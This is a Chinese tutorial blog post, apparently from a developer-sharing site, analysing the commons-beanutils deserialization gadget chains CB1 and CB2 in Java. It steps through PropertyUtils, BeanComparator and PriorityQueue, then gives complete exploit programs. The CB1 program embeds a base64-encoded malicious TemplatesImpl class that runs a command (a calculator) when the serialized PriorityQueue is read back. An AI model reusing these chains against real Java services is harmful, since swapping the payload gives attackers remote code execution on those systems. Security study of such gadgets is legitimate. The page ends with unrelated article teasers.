爆赞好文之java反序列化之CB超详细易懂分析

news2024/12/24 4:03:10

java反序列化之CB超详细易懂分析

  • CB1
    • 环境搭建
    • 前言
    • 分析
      • PropertyUtils
      • BeanComparator
      • PriorityQueue
  • CB2
    • 环境搭建
    • 前言
    • exp

CB1

环境搭建

pom.xml

    <dependencies>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>
        <dependency>`   1
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.2</version>
        </dependency>
    </dependencies>

jdk1.8.0_65

前言

CB链主要是通过优先队列和TemplatesImpl类完成的,如果你学习了CC链,这个链子就是得心应手

分析

在怎么触发我们的TemplatesImpl的动态加载字节码的时候,这里我们不再选择触发newtransfrom,我们选择getoutputProperties方法,因为它是个getter方法

PropertyUtils

这个类相信已经很熟悉了,我们看到它的getProperty方法,这个方法详细追究的话可以获取传入对象的getter方法

    public static Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (PropertyUtilsBean.getInstance().getProperty(bean, name));

    }

现在来调试分析一下
例子代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
        byte[] code = Base64.getDecoder().decode("恶意代码");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{code});

        PropertyUtils.getProperty(templates,"outputProperties");

    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field fieldName = clazz.getDeclaredField(field);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}

首先我们进入到

 return (PropertyUtilsBean.getInstance().getProperty(bean, name));

PropertyUtilsBean的getPropert方法

public Object getProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        return (getNestedProperty(bean, name));

    }

然后进入到getNestedProperty方法

public Object getNestedProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Resolve nested references
        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = null;
            if (bean instanceof Map) {
                nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);
            } else if (resolver.isMapped(next)) {
                nestedBean = getMappedProperty(bean, next);
            } else if (resolver.isIndexed(next)) {
                nestedBean = getIndexedProperty(bean, next);
            } else {
                nestedBean = getSimpleProperty(bean, next);
            }
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + name +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;

    }

因为我们的if都不成立,会来到getSimpleProperty(bean, name);
然后这个方法也是会经历一些if判断来到重点代码部分

PropertyDescriptor descriptor =
                getPropertyDescriptor(bean, name);
        if (descriptor == null) {
            throw new NoSuchMethodException("Unknown property '" +
                    name + "' on class '" + bean.getClass() + "'" );
        }
        Method readMethod = getReadMethod(bean.getClass(), descriptor);
        if (readMethod == null) {
            throw new NoSuchMethodException("Property '" + name +
                    "' has no getter method in class '" + bean.getClass() + "'");
        }

首先getPropertyDescriptor获取到我们的name就是
在这里插入图片描述
然后来到下一步

Method readMethod = getReadMethod(bean.getClass(), descriptor);

看名字都知道是获取bean类的方法
我们跟入进去获取到了getoutputproperties方法在这里插入图片描述

来到

Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

一看名字就是触发了,这样一来就触发了我们TemplatesImpl的getoutputProperties方法,然后加载我们的恶意代码

就分析完了是怎么去触发我们getter方法的
下面来到一个新的问题,是怎么触发我们PropertyUtils.getProperty方法的

BeanComparator

看到它的compare方法

public int compare( T o1, T o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        }
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        }
    }

Object value1 = PropertyUtils.getProperty( o1, property );

就恰好可以,我们试着操作一下

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
        byte[] code = Base64.getDecoder().decode("恶意代码");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{code});

        BeanComparator beanComparator= new BeanComparator("outputProperties");
        beanComparator.compare(templates,templates);
    }
    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field fieldName = clazz.getDeclaredField(field);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}

运行确实弹出了计算器

那怎么触发compare方法呢?

PriorityQueue

还是我们的老朋友,readobject会一路触发到siftDownUsingComparator,然后调用我们的comparator.compare方法

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

所以我们只需要反序列化它就好了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{code});

//        1.PropertyUtils.getProperty(templates,"outputProperties");

//       2. BeanComparator beanComparator= new BeanComparator("outputProperties");
//        beanComparator.compare(templates,templates);
        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
        setFieldValue(comparator,"property","outputProperties");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field fieldName = clazz.getDeclaredField(field);
        fieldName.setAccessible(true);
        fieldName.set(obj, value);
    }
}

当然这里有几个问题你可能很疑惑
1.为什么我需要先add无关紧要的东西

我前面讲cc2已经讲过,你可以去看看

2.为什么长度必须为2呢?
因为size要大于2才能比较啊,比较肯定是两个啊,不能自己和自己比

CB2

环境搭建

这就不需要我们的cc依赖了

前言

为什么会出现CB2,因为CB1还是需要cc依赖的,而我们的cb2根本不需要cc的依赖就能够实现我们的反序列化了

exp

就不分析了

public class CB2 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("y...CABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

       PriorityQueue queue = new PriorityQueue(2, comparator);
       //此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
       queue.add("1");
       queue.add("2");

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1649943.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

回归预测 | Matlab实现基于CNN-SE-Attention-ITCN多特征输入回归组合预测算法

回归预测 | Matlab实现基于CNN-SE-Attention-ITCN多特征输入回归组合预测算法 目录 回归预测 | Matlab实现基于CNN-SE-Attention-ITCN多特征输入回归组合预测算法预测效果基本介绍程序设计参考资料 预测效果 基本介绍 【模型简介】CNN-SE_Attention结合了卷积神经网络&#xff…

12V系统车灯电源口浪涌过压防护方案及保护器件选型推荐

12V系统车灯驱动电源口浪涌过压防护方案图 12V系统车灯驱动电源口浪涌过压防护方案详解 从图中可知&#xff0c;方案针对车灯驱动电路电源输入口的浪涌过压保护。在车载12V系统中&#xff0c;电源线上面的瞬态浪涌主要来源于抛负载。在12V系统车灯驱动电源输入端&#xff0c;东…

Scroll生态项目Penpad,再获Presto Labs的投资

Penpad是Scroll生态的LaunchPad平台&#xff0c;其整计划像收益聚合器以及RWA等功能于一体的综合性Web3平台拓展&#xff0c;该平台在近期频获资本市场关注&#xff0c;并获得了多个知名投资者/投资机构的支持。 截止到本文发布前&#xff0c;Penpad已经获得了包括Scroll联合创…

6.移除元素

文章目录 题目简介题目解答解法一&#xff1a;双指针代码&#xff1a;复杂度分析&#xff1a; 解法二&#xff1a;双指针优化代码&#xff1a;复杂度分析&#xff1a; 题目链接 大家好&#xff0c;我是晓星航。今天为大家带来的是 相关的讲解&#xff01;&#x1f600; 题目简…

【计组OS】访存过程以及存储层次化结构

苏泽 本专栏纯个人笔记作用 用于记录408 学习的笔记记录&#xff08;敲了两年码实在不习惯手写笔记了&#xff09; 如果能帮助到大家当然最好 但由于是工作后退下来备考 很多说法和想法都会结合实际开发的思想 可能不是那么的纯粹应试哈 希望大家挑选自己喜欢的口味食用…

语音识别--光谱门控降噪

⚠申明&#xff1a; 未经许可&#xff0c;禁止以任何形式转载&#xff0c;若要引用&#xff0c;请标注链接地址。 全文共计7267字&#xff0c;阅读大概需要3分钟 &#x1f308;更多学习内容&#xff0c; 欢迎&#x1f44f;关注&#x1f440;【文末】我的个人微信公众号&#xf…

QT程序简单国际化实验

文章目录 第一步&#xff1a;新建一个QT工程第二步&#xff1a;添加控件第三步&#xff1a;在pro文件中添加内容第四步&#xff1a;更新文件第五步&#xff1a;打开QT的Linguist第六步&#xff1a;添加翻译内容第七步&#xff1a;回到QT Creator中添加文件第八步&#xff1a;给…

Linux 进程间通信之共享内存

&#x1f493;博主CSDN主页:麻辣韭菜&#x1f493;   ⏩专栏分类&#xff1a;Linux知识分享⏪   &#x1f69a;代码仓库:Linux代码练习&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Linux知识   &#x1f51d; ​ 目录 ​编辑​ 前言 共享内存直接原理…

标准IO学习

思维导图&#xff1a; 有如下结构体 struct Student{ char name[16]; int age; double math_score; double chinese_score; double english_score; double physics_score; double chemistry_score; double bio_score; }; 申请该结构体数组&#xff0c;容量为5&#xff0c;初始…

dstat 与系统 I/O

知道系统运行了哪些服务也许并不能告诉你是谁拖慢了系统。 top 命令可以报告CPU占用情况以及I/O等待时间&#xff0c;但这可能也不足以找出导致系统过载的任务。 跟踪I/O以及上下文切换有助于揪出问题的源头。 dstat 实用工具可以为你指出系统潜在的瓶颈。 …

【Qt 学习笔记】Qt常用控件 | 输入类控件 | Date/Time Edit的使用及说明

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt常用控件 | 输入类控件 | Spin Box的使用及说明 文章编号&#xff1…

1-2 ARM单片机GPIO

def&#xff1a;通用输入输出口 GPIO输出模式原理讲解 1&#xff1a;推挽输出 2&#xff1a;复用推挽输出 电流最大是20mA&#xff0c;对于单片机来说总体的输出是由范围的 开漏/复用开漏输出 外部接上拉电阻的开漏输出 线与的概念 注&#xff1a; 与的概念&#xff1a;全1为1&…

Django调用MTP服务器给指定邮箱发送邮件

Django调用MTP服务器发送邮箱 邮箱的激活链接含有用户数据不能直接发送需要对其进行加密 发送邮箱是借助SMTP服务器进行中转 一. 配置SMTP服务中的邮箱信息以及激活链接 1. 配置邮箱权限 打开网易邮箱设置点击POP3 开启选项 注 : 在打开的过程中会弹出授权密码一点要保存 …

【ARM Cortex-M3指南】8:中断行为

文章目录 八、中断行为8.1 中断/异常流程8.1.1 压栈8.1.2 取向量8.1.3 寄存器更新 8.2 异常退出8.3 嵌套中断8.4 末尾连锁中断8.5 延迟到达8.6 进一步了解异常返回值8.7 中断等待8.8 中断相关的错误8.8.1 压栈8.8.2 出栈8.8.3 取向量8.8.4 非法返回 八、中断行为 8.1 中断/异常…

Hive内部表、外部表

Hive内部表、外部表 1. 内部表&#xff08;Managed Table&#xff09;&#xff1a; 内部表是由Hive完全管理的表&#xff0c;包括数据和元数据。当你删除内部表时&#xff0c;Hive会同时删除表的数据和元数据。内部表的数据存储在Hive指定的默认位置&#xff08;通常是HDFS上…

在做题中学习(51): x的平方根

69. x 的平方根 - 力扣&#xff08;LeetCode&#xff09;​​​​​​ 解法&#xff1a;二分查找 思路&#xff1a;看示例2&#xff1a; 可以看到8的平方根是2.82&#xff0c;在2^2和3^2之间&#xff0c;所以可以把数组分为两部分&#xff0c;(具有二段性) 而2.82去掉小数部…

JavaScript异步编程——02-Ajax入门和发送http请求

同步和异步回顾 同步和异步的简单理解 同步&#xff1a;必须等待前面的任务完成&#xff0c;才能继续后面的任务。 异步&#xff1a;不受当前任务的影响。 拿排队举例&#xff1a; 同步&#xff1a;在银行排队时&#xff0c;只有等到你了&#xff0c;才能够去处理业务。 异…

代码审计之某高校通用系统getRequsetURI函数的三次鉴权绕过

前言&#xff1a; 写个随笔&#xff0c;写个代码审计的漏洞案例&#xff0c;该系统为大量高校使用的一个系统。 三次绕过。 正文&#xff1a; 如图所见&#xff0c;系统厂商采用的是利用过滤器的写法进行鉴权 第一次的校验代码&#xff1a; 即requestURI转为小写后&#x…

【运维】如何安装ubuntu-24.04? 如何分区?

如何安装ubuntu-24.04&#xff1f;如何分区 经过一系列折腾&#xff0c;我总结了这几点&#xff1a; &#xff08;1&#xff09;在BIOS启动设置里&#xff0c;如果是GPT的硬盘格式&#xff0c;那么对应的就是UEFI的启动方式&#xff1b;如果是MBR的硬盘格式&#xff0c;那么对…

优雅的实现接口统一调用!

有些时候我们在进行接口调用的时候&#xff0c;比如说一个 push 推送接口&#xff0c;有可能会涉及到不同渠道的推送。 比如做结算后端服务的&#xff0c;会与金蝶财务系统进行交互&#xff0c;那么我结算后端会涉及到多个结算单类型&#xff0c;如果每一个种类型的结算单都去…